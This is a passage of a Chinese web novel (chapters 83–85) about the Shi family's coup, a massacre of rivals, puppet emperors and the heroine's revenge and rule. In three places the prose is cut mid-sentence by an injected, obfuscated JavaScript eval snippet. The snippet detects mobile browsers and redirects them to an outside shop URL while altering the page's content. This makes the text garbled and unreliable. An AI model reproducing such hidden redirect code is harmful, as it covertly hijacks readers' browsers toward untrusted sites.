“你傻了,即便我们家的耳朵都聋了,皇帝晏驾鸣钟,又有谁能听不见呢?”师莞安如今只大概搞清楚了现状,也说不了什么旁的话,“大姐姐就是太着急了,参与到这样的事里,稍有不慎就是满门抄斩。那韩偃又是你向三叔举荐的。你也别多想了,进宫折腾了这一天,还是快去歇息罢。” 正说着,就见师迟蓦然起身,向师言道:“我还得入宫才能放心,大姐姐那里,你先替我顶着。” 师言应下,又送他出门。 师莞安愣愣的看着他们两个的背影,终于问道:“这一个个的,竟是疯魔了么?” 端木槿却冷哼了一声,道:“若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296622|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不谋一谋,争一争,只靠着阳曲侯的面子,师家如今的荣耀体面又能维持多久?”说着,打了个哈欠,便径自回去睡了。 “......那也不至于弑君罢?” 师薇欢一夜未眠,胡乱吃了些早饭,胡乱在院中徘徊,心下一直不得安定。 “姑娘,还是进屋来罢,这天瞧着要下雨了。姑娘?” 师薇欢晃过神来,见南歌正一脸担心地瞧着自己。这个端木萌亲自为她挑选的小丫头今年不过十四岁,人很麻利,就是总是傻乎乎的。 她笑了笑:“不必管我,若真下雨了,我就进去了。你去忙你的吧。” 她在等凭雪和凭霜的消息。 凭雪和凭霜是韩偃在泉郡时,于乞丐堆里捡来的一对儿孪生姐妹,曾跟着丐帮和海匪兄弟们学了些武功,如今被他指派来做她的侍女。昨日出宫前,她将她们留在宫中,嘱咐她们一旦有与师家有关的消息就要想办法传出来告知于她。 而如今半日过去,却是一点消息也无。更何况昨夜师迟又进了宫,如今也没什么消息传出来,更叫人焦心。 这般便想便走,竟走到了蒹葭馆。师莞安正坐在阶前带着哥儿姐儿们喂鱼玩儿,见她来,也分了些鱼食给她,道:“我瞧着近来家里人人都有事忙,这鱼倒像是饿着了,比原先瘦了好些。人的事,何苦为难鱼呢。” 师薇欢“扑哧”一声笑了出来,却又叹道:“城门失火,殃及池鱼。” “想那么多做什么呢,你瞧瞧你,一大早就这么心神不定的。”师莞安弯起手指,轻轻碰了碰她的眼圈,“小小年纪,总这么发愁,该变老了。” 师薇欢干笑了两声,看着师莞安一派悠闲的样子,心里便不由自主地羡慕起来。 “宫里发生这么大的事,但你出去瞧瞧,外面平民百姓的日子该怎么过还是怎么过。他们从不关心皇帝变没变,只关心税收、徭役。” “可是如今宫中的事,如有意外,恐怕就会落得抄家流放,甚至满门抄斩的后果,并非与我们无关啊。”此外,还关系着她是否能为江浪观的众人报仇。 “那也没有办法,不是么?”师莞安笑了笑,“何况我相信有三叔他们在,是不会让咱们家落到那般境地的。今早我还碰见四弟出门,倒没来得及问他去做什么,不过瞧他那个样子不像是一点主意都没有,兴许他们早就商量好了呢。” 得了这一番安慰,师薇欢心里好受了些,却又猜测起师言的动向来,不过很快自来熟的景祯就找上了她,“小姨母、小姨母”地唤个不停,直闹得她也没心思去多想旁的事了。 景祯这般缠着她,直到吃过了午饭后被嬷嬷拉着去午睡,才终于又叫她得了清闲。 随之而来的迟到的困意催得她回到榻上便沉沉睡去,再醒时,已是暮霭沉沉。 推开窗就是扑面的雨水夹杂着泥土的气息,所幸这会儿雨已经渐渐停了。她梳洗一番出了院子,雨后的凉意裹挟着与昨夜回家时相仿的寂静令她打了个寒颤,不自觉地加快了步子,直往祠堂去。 人都聚在祠堂。 檐下的滴水声,还有细碎的呜咽声,像一张巨网骤然在师薇欢心头收紧,她疾走了两步,直到跌跌撞撞扑在师婷欢身前,问道:“大姐姐,怎么了?” “你二哥死了。” “什么?”师薇欢怀疑自己是在做梦。一定是昨晚没有睡着,使得她这一觉睡得太长了,到现在仍在梦中。 师婷欢扶起她,哑声道:“是中毒。新党的人将毒下到了韩偃的茶中,被他误饮了,当场便走了。” “不可能!” 人命怎会如此脆弱,如此轻易,甚至如此随便的,就消散了呢。 “我要进宫,韩偃的禁军把守在那里,饮食怎么就会有毒呢——” “人死了就是死了,薇欢!”步成安哭着拉住她。她从昨日便一直沉默,师迟进宫时,她也未曾出言相劝,她知道她劝不住,从师迟想要留在宛城开始。 “那我也要去把二哥的尸首接回来啊!” “你四哥已经去了。”言晓风叹了口气,将步成安搀到一旁坐下,又劝师薇欢道:“他回来之前,我们就在这里等着,好么?” 师薇欢浑身止不住地颤抖,好似有数不清的小虫在啃噬她的心脏,叫她分不清哪些是真,哪些是假。倘若师迟真的,就这么死了,是新党的人下的手,还是韩偃——她不敢再想。 “若是这样——”一道闷雷劈下。师薇欢突然历声道,“若是已经这样,我们就在这里等着又有什么用?若是师家一直止步不前,那就一直是与新党对应的旧党,可我们只消往前一步,便能凌驾于他们之上。这一步我们为何不走?” 她看向愣怔的众人,道:“若说忠君爱国,可你们出去看一看,国已不国,君已无君。既然平民百姓从不在乎到底是谁坐在皇位上,那坐在皇位上的为什么不能是我们家的人呢?”这话说完,她突然感到前所未有的清醒,似乎一瞬间耳聪目明了,便也不再管祠堂中的众人,随手拿了把伞,只身走进雨幕。 83.第 83 章 嘱咐手下将师迟的尸首送回家中后,师言并未再回宫中。昨日起京城戒严,城门终日落锁,他便用师迟的兵符出了城,又用它调走宛城那两千守军,与南郊他自涯州带来的一千轻骑会和。 涯州这一千轻骑原是燕王的人。为着备战女真,涯州常年有几万人驻扎,其中有三千常归燕王府调配。后经端木玄削减到两千,但近年女真时有扰边之举,于是端木玦又将其增回三千。比起北路的马匹和木材贸易,这一千轻骑的兵符才是师言与端木槿成亲的最大收益。只不过当初与燕王太妃秦氏商谈时,约定的是师言不能将这些兵马调出涯州,但如今秦氏已逝,燕王端木柏成日里声色犬马不省人事,他借着交好的涯州城守将的关系,将这一千人带到京郊,至今也无人查问。 他着宛城军三百人,按着他方才命人抄录的名单,将在京拥附落、白等的五品一下官员兼太学生全部拉到街上斩杀,又令手下私兵中的死士,分别至陇西王、闽中王和颍王封地,以及行宫,将端木齐、端木阳、端木城和端木嵩及其家眷一一杀死。 “闽中王端木阳府上有一个侍妾生的四岁的孩子,将那孩子活着抱回来。” 安排好这一切,他骑着马回到京城,听着街巷上不断地哀嚎与咒骂,面无表情地沿着御街一路骑进宫中,见到韩偃,才道:“将那些人都放了罢,也不必等我父亲他们回京了。三日后,我会将新君抱来。且着礼部安排大行皇帝与皇后的丧仪,顺便将登基大典准备了罢。” 昨夜,曹唤容“不愿母子受人摆布”,于坤宁殿自缢而亡。 韩偃玩味地看着他,道:“你手中既有兵马,为何不将新党斩草除根?为何还要立个傀儡皇帝,不自己取而代之?” “京中如今无人起兵与你我抗衡,是因为有兵权的人都被派到各地剿匪或是镇压起义了。不出五日,就会有人班师回京,你以为,凭着现在你我手中这些兵马,能服众么?” 师薇欢自韩偃身后的殿中走出,与师言对视良久,才问道:“你杀人了么,四哥?” 师言笑了笑,道:“这会儿外面街上脏得很,你要找童氏的人报仇,待天明再去罢。” “我有证据!景宗皇帝并非端木氏血脉,端木氏的国运早就终了了。”她从袖中拿出当年在师冉月的妆台下弄湿的那封信。 师言顿了顿,接过那信看了一遍,却只将那信又合上塞回信封,还给师薇欢,笑道:“即便是真的,即便旁人信了,那我们师家的人当年明知他不是端木氏血脉,却还辅佐他登上皇位,姑姑还嫁给了他,也算是谋权篡位、助纣为虐了罢。” 他伸手替她理了理散落的鬓发,柔声道:“这世上有能力做皇帝的人很多,做皇帝也不是什么好事。既然更多的人还是习惯了那位子上坐着的人姓端木,那就让姓端木的人继续坐着罢,我们拥有我们想要的就好。” 三日后,因景宗皇帝子端木城、端木嵩暴亡,诏以闽中王之子端木显过继为景宗之子,继位为帝,改年号为立新。大行皇帝端木玦谥曰成宗,皇后曹氏谥曰昭懿皇后。 白束道次子白恺自认弑君罪名,伏法。上宽仁,恕其九族之罪,但贬白束道为凉州通判。迁兵部侍郎落桓为肃州指挥使。 师言自封渭王,兼领太尉,行监国事。以副都指挥使韩偃为邕州节度使,留京护卫。 封昌宁县主师薇欢为昌宁郡主,入宫照料幼帝起居。 “用兵权换新党妥协——”师霖咂了咂嘴,随后便是一鞭子抽在师言背上,“你小子真是蠢的没边了!” “落桓已经联系谭梁率军回京,若不这般妥协,恐怕师家今日都被他们踏平了。” “你们几个当初动了谋反的心思的时候,怎么不想想师家会不会被踏平?”师霖气得差点一个踉跄。端木萌看到信当场便晕了过去,而后便连日高烧,一病不起,清醒的时候便是以泪洗面。师霖只好等她的情况稳定些后才独自动身回京。 师薇欢低着头板板正正地站在一旁,瞧瞧抬眼观察着“战况”,又在师霖目光扫过来时匆忙别开视线。 师霖冷哼一声,道:“如今局势也算是稳定下来了,既如此,我且看看你究竟有什么能耐,当初科举怎么考都考不过,如今倒能监国了!”说完,便坐到太师椅上,兀自喝起茶来,直到师言试探着抬头时,才又开口道:“看什么?既然都当上渭王了,怎么不给自己修个渭王府去住?阳曲侯府庙太小,可容不下您这尊大佛。” 师言瞧着师霖的态度已经缓和,便赔笑了两句。师霖压根不想看见他,干脆出门去了官家。 瞧着父亲走了,师言这才龇牙咧嘴起了身,师薇欢忙去扶住他,叹道:“爹爹既愿意回京,原就没真生气。想来他一路提心吊胆地怕大家有什么闪失......二哥已经走了,他无非就是担心你,你又何苦还与他顶嘴呢?” 师言笑道:“我就晓得爹也是个不在乎这些的,否则我怕是连家门都不敢进了。” 想到“杀子谢罪”的旧例,师薇欢打了个寒颤,却叹道:“也不晓得娘如今怎么样了。” 师言长叹了一口气,道:“事已至此,也管不了那么多了。若能有机会,我再向娘谢罪罢。” 江浪观又起了火。 童绮被关在观中,像四年前被她下令关在观中的众人一样,生命随着漫天飘飞的灰烬一起消散。 童有贤、童博、童挥、童摘,还有尚未娶妻的童拾和未嫁人的童纭,以及府中一众仆妇,亦如当年夅州童氏的人一样,被乱刀砍死。许氏被活活吓死。 成居溪一早与童博和离回了成府,宋娆和谭纹也得了师薇欢的暗示,一早回了娘家。除却早已出嫁到汪氏的长女童纷和嫁到官氏的次女童纹,童氏无一人幸免。盛极一时,却恍若黄粱一梦。 师薇欢远远站在江边,看着江浪观再次付之一炬,心中也有一处彻底空了下去。大火被人扑灭,她默不作声地转身上了马车。 “回宫罢。” “开心了么?”韩偃问道。 “不知道。” 行至城门时,马车“吁”地一声停下,师薇欢探头向外看去,只见宁碧水穿着一身粗布青衫,背了个小包袱在肩上,站在下面向她笑了笑。 “你要走吗,碧水?”师薇欢有些心慌,她跳下马车握住宁碧水的手,急声道:“你要走——可是你能去哪里呢?” 宁碧水笑了,像枯井中倏地涌出一股清泉一样,开口道:“天大地大,哪里都能去呀。” 她回握住师薇欢的手,问了和韩偃相同的问题:“大仇得报,薇欢,你开心了么?” 师薇欢仍是摇了摇头:“我不知道。”她现在越来越茫然,抓着宁碧水的手,像是想要拼命握住指间的流沙。 “如果还不开心的话,那就去做开心的事罢。现在什么都还不算晚,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301970|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是么?”她一点一点掰开她的手指,抽身离去,像是一只青鸟,扑闪着翅膀,很快便消失在暮色中。 “多保重。” 回到宫中,例行公事般听了嬷嬷汇报端木显一日的饮食起居,又听了端木显背诵功课,人都散去后,师薇欢仍是魂不守舍的模样。 “沈案之上表乞骸骨——” “应了罢,四哥说叫赵妥和步远来教他。” 她看了眼韩偃,又道:“没什么事的话,你也出宫罢,我想一个人呆一会儿。” 韩偃不作声了。 良久,他开口问道:“这样就可以了么?” 师薇欢困惑地抬眼看他:“仇已经报了,有什么不可以的。”她眨眼,似是妄图分辨眼前人的意图,终是别开眼神,试探道:“乱世时总有人推举有前朝王室血脉的人称王称帝,以获得更多人的拥护。可见虽说平民百姓因衣食而麻木,但仍会对先主下意识地崇拜和跟从。何况如今,淮朝尚未灭国,若轻易推翻端木氏另开新朝,恐怕上至文武百官,下至平民百姓,都不会轻易答应。再者,你我也没有那般武力文德,得以开天辟地。” 韩偃端起她的茶杯一饮而尽,蓦地将茶杯往案上一掷,道:“那你我便要屈居于这一个黄口小儿之下,如今便罢了,待来日他长成,羽翼丰满,哪里还会容许我们有一席之地呢?” “那便再换一个人做皇帝就是了。你汲汲营营这么多年,难道连这点耐力都没有么?” “你如今一定要与我这样说话吗?” 师薇欢看了看他,只闭了眼睛假寐送客。她也不晓得从什么时候开始看见韩偃再没有当初的依赖和欢喜,只剩疲惫,甚至有些厌烦。 但也无妨,她靠的是师家,又不是韩偃。 如今后宫上下统归她代掌,虽然也很无趣,但众人唯命是从的样子还是叫她觉得畅快和舒心。倘若有一日没有那个傀儡的小皇帝摆在前面——她也这么想过,但纵使有那么一日,替代他的也只会是师言、韩偃,又或是新党中的谁,或者外面哪个起义的贼首,总之不会是她。 他们觉得一个女子最崇高的地位莫过于一国之母、后宫之首,可又为什么坐在皇位上的不能是女子呢? 这般想着,方才有些放松下来的神经又跳动着疼了起来。她也没了休息的心思,干脆坐到桌子前处理起堆积的事务来。 除了维持后宫运作,还有些事关前朝动向,是她央着师言,教专人每日抄录给她的。 而这当中让她的头痛雪上加霜的,倒不是新党那些人又暗度陈仓了些什么,又或者于东海起义的那个方育又占领了几座城池、合并了几伙义军,而是今早本应送到她手中却由在家中的师婷欢收到的信。 师棠欢要回京了。 乐康七年甫一归家时的场景尚且历历在目。彼时喜欢穿粉衣的未出阁的姐姐的模样,她如今照着镜子也很难回想得起来了。明明并没有过去多少年。 信纸的角在手中一点点褶皱,直到一不小心裂开一个口,师薇欢才从回忆中挣脱。记忆中明媚姣好的少女面庞缓缓消散,脑中只剩下最后一面时谴责与不解的满是泪水的眸光。 “郡主,太晚了,明日再看吧?”凭雪小心翼翼地走过来,将一碗燕窝放在案上,又简单收拾了一番桌上散乱的纸张。 师薇欢叹了口气,道:“罢了,剩下的我也不想看了,都烧了罢。” 84.第 84 章 连着几日阴天,终是在师棠欢进京的这一日,漫天的雪像被倾倒的鹅毛,飘了白茫茫一片。 师薇欢一早便等在家中。 师婷欢在自家用了早饭,在祠堂上了香,走到后院时,只见师薇欢戴着个帷帽,冒着雪正在擦着留容轩院子里那架秋千。擦完了,雪又落,又擦又落,就这么一遍一遍的,南歌等人打着伞在一旁也插不上手。 师婷欢叹了口气,却也不想与她说话,便去了言晓风院中,正巧步成安带着师步也在这儿,她便直言道:“我昨日到庄子里看过父亲,他说,趁着这些日子太平,也不必等到过年,你们便到沉州去,与三弟他们在一处。算算日子,这几日走的话,年前正好能到。” 言晓风与步成安对视了眼,叹道:“也罢,只是京城这边要交给谁来管呢?” 自师言称王后,端木槿便以渭王妃自居,进宫住着了。 虽说自从师焕离世后,师家陆陆续续也遣散了不少下人,一应宴饮应酬等事也都减免了,如今家中的事务并没有原先繁杂,可到底还是要有个人主持。 师婷欢沉吟一会儿,道:“交给七妹妹罢。” 步成安道:“也罢,早走早好。我这就回去收拾。”说着,便叫奶娘领着师步回去了。 言晓风看着凑在一团玩耍的师令闻、师令望还有师令璋,道:“我们总算还有这些孩子,寄托也好,凑趣也罢,总归还有些事情要做。你可要怎么办呢?燕氏几房的苟且可不是好勉强的。”算起来,师婷欢是燕氏的长房长媳,可无奈这几年燕寂和燕母接连去世,师家事情也是一桩接着一桩,她也无心去管燕氏那些腌臜事,任由三房的一个叔母“代掌”着管家大权。 “我想着,原也不必将一切指望寄托在孩子身上,否则咱们女子活着的意义,岂非就是将子孙后嗣养育成人,靠着他们的功名挣个诰命,或许于史书上,能挣得一个教子有方的美名,倒是无趣。” 言晓风苦笑道:“这样的世道,不这般,又能怎么活人呢?能过着安生的日子,不至于食不果腹,也不至于被人追杀枉死,能将孩子平安抚养长大,已是幸事了。” “七妹妹不就是个例子吗。虽如今看起来虽不至于多好,但说起来,她倒叫我想着,女子不安于后宅,倒也能做出来些事情。” 言晓风没听出师婷欢这话中褒贬,便也没接着说下去。 “娘,大姑姑,你们看!”师令望捧着一盆兰花过来,“是花苞!” 这是她自己养出来的第一盆兰花。 师婷欢摸了摸她的头,赞扬了她和她的兰花,待她兴高采烈地端着那小小一盆兰花跑出去像别人炫耀时,才笑叹道:“也许有一日我会从燕氏族中过继一个孩子来罢。” “七姑姑,你看,我养出来的兰花!” 师薇欢恍惚着放下手中的帕子转头,看见师令望穿着一身月白的袄子,带着浅青色的帷帽,像个小雪人似的跑过来,还不忘用披风为兰花挡雪,忙把她领到伞下,为她掸了掸身上的雪,笑道:“姑姑怎么不知道你还会养兰花了啊。” “因为我养的时候,姑姑不在家里啊。” “......是吗,姑姑有些记不清了。”她想了想,从师焕去世开始,她的日子似乎就开始陷入无尽的沼泽,连记忆也是一团乱麻,模糊不清。若要仔细回想,提起某件事,又免不了说到那是谁去世之前,又或是谁去世之后,次数多了,她便也不愿再想以前的事了。 “兰花娇嫩,在外面冻久了会养不活的,你还是快些把它抱回屋中去罢。” “可是我还想给六姑姑看呢,娘说她马上就到了。” “听说有人在等我?” 师薇欢正不知怎么回答她,便听得一个万分熟悉的声音在背后传来。 “六姑姑!”师令望已经从她怀里跑了出去,奔到了师棠欢怀中。师棠欢蹲下来接住她,雪白的狐毛大氅拖在雪地上,像是狐狸尾巴。 “姐儿真是好记性。”师棠欢笑了笑,将师令望哄走,才起身看向一直站在原地的师薇欢。 “平阳郡王呢?” “他在集德堂,四哥在那里。” “四哥竟也回来了么。” “原来你不知道吗?我还以为你们蛇鼠一窝、互通有无,怎么竟连彼此的行踪都不清楚。”师棠欢道,“怎么如今见了我倒像是老鼠见了猫,你又没做对不起我的事情。当初那般气势去哪里了?” 师薇欢惨笑道:“我也不晓得为何不敢见你。” “我要去给二哥扫墓,你与我一同去吧。” 二人依次为师迟上了香,空对着坟茔,两相无言。半晌,师棠欢才道:“我这一路上听道不少传闻,但都大差不差,说是端木氏国运尽了,而师氏当立。是你们命人传出去的么?” “我不晓得此事。”师薇欢茫然道。 “罢了,大抵是韩偃或是四哥做的罢。”师棠欢看着她,恨铁不成钢,道:“你当初那般志存高远,如今我瞧着,除了复仇外,其余的事情都是旁人做的,甚至好似咱们全家都受了那姓韩的诱拐,你却像个傻子似的,一问三不知了。彼时在楚王府,姑姑地位稳固,尚且知道要积蓄自己的势力,免得受人蒙骗摆布,你难道就甘于被人关在葫芦里吗?” “可是我不知道该怎么做。”师薇欢眼神空洞地看着师迟的墓碑,“一开始是为了复仇,韩偃也是这么说的。可是到了现在,无论是有意的无意的,直接的间接的,已经死了这么多人,我们却像是骑虎难下。可要降服这虎,我却又不知道该做些什么。” “积重难返。”师棠欢叹道,“事已至此,你想要什么,权力,地位,不妨就一一去试,只要保全性命就好了。” “可是会有更多人为此牺牲。” 师薇欢一度恨上自己的摇摆不定,明明好似已经下定了决心,却又随时会被各种缘由绊住脚,徘徊犹豫,止步不前。 “那也顾不得了。”师棠欢叹道,“我的婆母齐王妃,原是不允许我们在这样的时候回京的,是逸之偷了马车,我们才得以出了芜郡。也因此这一路上我们没有护卫,也没有车夫,只能一路打听道路回来,倒是因而与不少流民打交道......想来无论谁当立,大淮的国运的确是到了尽头了,该有一位真正有雄才大略的开国之君应天受命,才能为百姓重塑安命之所。如今这些争斗,不过是利益倾轧,什么圣贤道理,什么世人天下,全都不顾了。到头来,争个鱼死网破,又有谁能赢到最后呢。” “既然最终都是要死,那我如今就算找到法子向上爬,又有什么意义呢?” “不知道。”师棠欢一哂,“不过反正都是要死,活着的时候灿烂一点,说不定还能做出些什么成就,大概也不错罢。” 她与端木澈进京这一路摸爬滚打,几度一只脚踏进鬼门关。这么一遭下来,她倒觉得自己看开了不少。 在芜郡时她还为这诸事愤懑、难过,可如今她只觉得活着就很好,无论是怎么活着。 “这世道是不把人当人的,我们又何妨自私一些呢。” 三日后,言晓风和步成安携着子女,与师莞安一道启程。 送走了众人,师薇欢方有人去楼空之感。站在前院向内看时,她的身影仿佛与归家那日重叠,不过身上不再是布衣,取而代之的是穿腻了的绫罗绸缎;身旁也不再有熙熙攘攘的人,只剩下师棠欢一个。 “这样一看,咱们家倒真像是彻底败落了。” 立新元年二月初一,渭王亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301971|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 征东海贼。 “东海贼首”方育原本是东海郡柳原县的一名秀才,家中几代务农,但靠着耕田与渔猎两份营生,日子过得也算宽裕。族中几十年来零星有几人得了秀才的功名,但待到再考,便都屡试不中。方育过了三十五岁这一年便也打消了科考的念头,打渔为生,外加几亩盐碱地,农闲时便到集市上售卖多出来的渔产,偶尔还能教一教村中的幼童识字,日子清贫却很安生。 但自乐康年间屡次加税后,郡里、县里几次加征,横征暴敛压得他直不起腰来,外加前些年被抽调镇边,赶上河流改道决口,洪水肆虐,待他归家时,家中父母妻儿皆不见了踪影,不知是死在了连番的天灾人祸中,还是流亡到了别处。 还没待他将倒塌半间的屋舍修整好,征税的小吏又找上了门,指着那名册连带他那活不见人死不见尸的父母妻儿也要缴税。 一股怒气登时涌上心头,反应过来时,那小吏虎仗人势的丑恶嘴脸已经被他夺刀砍倒在地。一不作二不休,他干脆拉了几个同样才解甲归乡的兄弟,鼓动柳原的百姓流民一块儿到衙门前示威,自己带着几个人,趁乱一把火烧了县衙,开仓放粮。 虽然粮仓里的粮食也与那抢出来的账本上的数量差得多,甚至还有大半都已受潮或是被鼠虫啃噬,但还是叫乡亲们吃上了一顿难得的饱饭。饱腹过后,当即便有十几个青壮年入了伙。一行人拿着乡亲们凑出来的干粮,提着县衙里翻出来的大刀长枪,就此揭竿而起。 两年间,方育手下已壮大到了五千余人,陆续攻占了东海、琅山、琊州、壶山四郡,以及周围十六个县,势如破竹。 如今东海军直逼安丘。安丘为兖州守,安丘若破,兖州便约等于失守了。如今官成潜早已回兖州统兵,却也没把握能守住,便上书求援。 朝中武将中,如今林守贯卧病在床,其子林致良方在闽西剿匪时伤了一条腿,如今尚且不能上马。兵部尚书王祥几日前方才到北境巡边,如今也回不来,谭梁又未归,落桓则是被赋闲在家。 师言遂决定以太尉亲往安丘平乱,以郭率与河郡节度使沈玄期为副将,对战方育麾下大将霍辽。 韩偃则继续在京驻守,闲来无事便于诸地散播箴言。其部下在师言军中者,便于军中造势,欲拥师言为帝。 恰好师言于安丘大破霍辽攻势,首战告捷,韩偃趁势,代端木显拟诏,禅位于师言,而端木显自请为“东乡侯”,退居行宫。朝中群龙无首,则以韩偃代为监国。 可谁料安丘一战后,朝廷军队便屡屡败退,直至安丘城破,不得已退守到安丘与兖州中间的一处小城丘左。霍辽如有神助,无论师言等使出何等招数都能立刻拿出对策,以致于师言怀疑军中有人泄密,却又一时查不出来,只能先勉强迎敌。 “父亲,我们可要出兵到丘左驰援?”官戍申每日登上兖州城楼远眺战况,眼见大军压境,心中忐忑。 官成潜却道:“我们捉住的那个探子怎么样了?” “二弟已经在审了。从他身上搜出的物件来看,是落桓的人。” 官成潜叹道:“不晓得落桓与方育谈了些什么,躲不过是要师家那竖子的性命罢。” 官戍申试着观察出官成潜的意图,探寻道:“那我们可要派人告诉师家叔父?” “告诉又有什么用呢?” 官成潜看着舆图,思及落桓一事,心中不免担忧。禅位诏书虽已昭告天下,虽说无人立即起兵反对,但四野舆论却是甚嚣尘上,即便是旧党内部也是议论纷纷。而师言又远在前线,无暇仔细顾及朝中之事,朝中大权如今全由那韩偃把持......良久,他吩咐道:“传令下去,我军据守兖州,关闭城门,不可放一人出城。” “是。” 85.第 85 章 三月十二酉时,安丘城破。 翌日晨起,官戍申看见,东海军阵前挂着一颗头颅。 三月二十日,兖州布防图泄露,城破。官成潜及家眷不知所踪。 三月二十一日,方育自称东海王,于兖州建府。 四月二十五日,西至太舟山,东至东海,当中一千五百里尽归方氏。 “落桓究竟哪里来的兵!” 师薇欢冷眼看着韩偃火急火燎的样子,从季酩手中一把撕过军报来看,声音格外冷静沉着:“方育借给他的兵。他既只在北郊扎营,而未逼宫围城,那就是没想对你赶尽杀绝,你不如尽早派人与他谈判罢。” 她眼下泪痕未干,此时站在城楼上,风吹得眼睛干涩生疼。她闭了闭眼,从凭雪手中接过帷帽,转身下了城楼。 “去采珠巷。” 午后,师薇欢才回到清和殿偏殿,便见端木槿早等在殿内,甫一见到她就双目猩红地扑过来,指甲掐进她的肩膀,道:“韩偃如今要怎么办,你们如今要怎么办!” 师薇欢慢慢扣开她的手指,道:“东乡侯已经禅位给四哥,四哥便是名正言顺的天子,你就是名正言顺的皇后。如今还得你以皇后之名拟诏,立新君承继大统。” 端木槿双手僵在半空,看着师薇欢,不自觉地往后退了两步。 师薇欢又接着道:“你不写也没有关系,皇后的凤印在我手中,我找人代写就是了。” “不行!”端木槿尖声道,“我才是名正言顺的皇后!本宫还活着,你怎可假传懿旨?” 师薇欢笑了笑,“这便行了。”说着,叫凭雪拿来纸笔铺在案上,接着道:“皇位传位于大行皇帝之子师获,写罢。” “师获?”端木槿皱眉道,“这是谁家的孩子,我怎么从未听说过?” “当然是四哥亲生的血脉,只不过这些年流落在外。你不必担心,他的生母不会抢占你的位置,你是这个孩子的嫡母,待他登基,自会尊你为太后。” 笔尖的墨滴在纸上,晕开一片浓黑。 师薇欢叹了口气,道:“罢了,皇后行迹疯迷,还是送回坤宁殿静养为宜。” “师薇欢!你敢把本宫送到那个晦气的地方——”端木槿嘶吼着,被凭霜命人堵住了嘴,拖了出去。 师薇欢伸手掸了掸身上不存在的灰尘,叹息道:“这满宫里,哪有不晦气的地方呢?”说着,自己做到案前,换了一张新纸,行云流水地将诏书写好,将凤印重重盖下。 “礼部官大人还在吗?” “三日前便找不见官大人的踪影了。” “罢了,交由礼部侍郎郑许,传令天下,迎新帝登基。” 立新元年五月二十五日,师获以五岁龄登基为帝,改国号为大渭,年号宁治。 以端木槿为太后,封姑母师薇欢为祥符大长公主,居清和殿照料幼帝起居。 拜韩偃为太尉,监国佐政。 兵部尚书王祥迁平西节度使,兵部侍郎落桓勋猷并懋,拜为尚书,往太舟山剿东海贼。 新帝即位,恰逢谭梁得胜回朝,遂大赦天下。 “常有能平天下者而不能治天下。如今战事稍歇,自该把握好这机会,恢复生产,使百姓能够衣食充足,流民得以返乡,或就近安定下来,才能避免从前的状况,恢复根基。” “所以你要怎么做?” “先减税。”师薇欢决然道,“元安年间起,国库中五分之三的钱都花在了各方战事上,而如今于战事上的开销,十分之八都花在了东海。方育能称王,本就是落桓闹出来的,如今他反过来要亲自去降服方育,便叫他自己去筹措资金罢。这样一来,即可将田税降到乐康七年的十分之七,而商税降至十分之八,待秋收后再调整便可。” 她将户部的账本与自己算好的税额一并放到韩偃面前。 师霖昨日启程回了易州。师薇欢去送他时,他未说重话,也不欲多言,只道:“治国比夺权难得多。要想使上下诚服,就该使各人得到他们应得的,而非一味控制打压。” “旁人愿意跟随你,不过是因为你能给予他们利益。”师薇欢又道,“对于新党,残存下来的人若是一直担忧自己的性命,必然就不会安心为人臣。不如从中拉拢、离间,各自给予恩赏,爵位或是田地都可。” “既如此,你便去做罢。” 师薇欢愣了愣,这才突然反应过来方才一进到屋中就觉得反常之处——整个房间内都是酒味儿,案上、地上也全都是东倒西歪的酒坛、酒碗。 她皱眉掩鼻,想着韩偃是不喜欢饮酒的,彼时提起为了与旁人拉关系而不得已喝下的那些酒都嫌恶不已,怎会因为于落桓处受了一点挫就这般酗酒。 “没听到吗,你要做什么就去做罢,拿皇上的名义,反正玉玺就在你那清和殿摆着。” 师薇欢心头一下子蹿起火气,恨道:“当初是你拼命图谋这位置,怎么如今才坐上就嫌烦了?罢了,我左右是管不了你,你只管抱着这些酒醉生梦死罢!”说罢,拿起账簿,一甩袖子出了屋子,径自回了清和殿。 师获午睡才醒,由随身侍奉的宫女山枕侍候着换好衣服,人瞧上去还像是在与周公依依惜别,但看见师薇欢回来,还是颠颠地跑过去,拽着她的袖子问姑母好。 她叹了口气,摸了摸他的头,道:“姑母这会儿有事要做,你再去将步先生布置的要临的字帖描上两遍,可好?” 师获点头答应,跟着嬷嬷走了。 师薇欢看着他的背影,兀自叹息。师获比起端木显要与她亲近得多,看着他的眉眼,她脑中却都是旧日家中与师言相处的点滴,还有将他从采珠巷接走时竹江月不舍却隐忍的泪眼,如今却要使他做个听人摆布的傀儡,还不晓得来日是否有命活着,又或是被人推翻身首异处。 